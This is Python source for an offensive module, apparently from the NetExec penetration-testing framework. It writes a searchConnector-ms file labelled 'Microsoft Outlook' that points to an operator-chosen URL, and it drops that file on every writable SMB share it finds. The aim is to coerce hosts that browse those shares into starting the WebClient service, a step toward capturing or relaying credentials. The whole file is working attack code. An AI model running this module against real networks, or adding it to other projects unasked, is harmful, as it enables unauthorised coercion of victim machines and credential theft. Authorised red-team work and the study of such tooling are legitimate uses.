NetExec/cme/modules/drop_searchConnector-ms.py

81 lines
4.1 KiB
Python

import ntpath
class CMEModule:
'''
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
'''
name = 'drop-sc'
description = 'Drop a searchConnector-ms file on each writable share'
supported_protocols = ["smb"]
opsec_safe= False
multiple_hosts = True
def options(self, context, module_options):
'''
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
URL URL in the searchConnector-ms file, default https://rickroll
CLEANUP Cleanup (choices: True or False)
SHARE Specify a share to target
FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
'''
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEANUP'])
self.url = 'https://rickroll'
if 'URL' in module_options:
self.url = str(module_options['URL'])
self.sharename = ''
if 'SHARE' in module_options:
self.sharename = str(module_options['SHARE'])
self.filename = 'Documents'
if 'FILENAME' in module_options:
self.filename = str(module_options['FILENAME'])
self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
if not self.cleanup:
self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
scfile = open(self.scfile_path, 'w')
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write('<description>Microsoft Outlook</description>')
scfile.write('<isSearchOnlyItem>false</isSearchOnlyItem>')
scfile.write('<includeInStartMenuScope>true</includeInStartMenuScope>')
scfile.write('<iconReference>{}/0001.ico</iconReference>'.format(self.url))
scfile.write('<templateInfo>')
scfile.write('<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>')
scfile.write('</templateInfo>')
scfile.write('<simpleLocation>')
scfile.write('<url>{}</url>'.format(self.url))
scfile.write('</simpleLocation>')
scfile.write('</searchConnectorDescription>')
scfile.close()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
context.log.success('Found writable share: {}'.format(share['name']))
if not self.cleanup:
with open(self.scfile_path, 'rb') as scfile:
try:
connection.conn.putFile(share['name'], self.file_path, scfile.read)
context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
except Exception as e:
context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
else:
try:
connection.conn.deleteFile(share['name'], self.file_path)
context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
except Exception as e:
context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))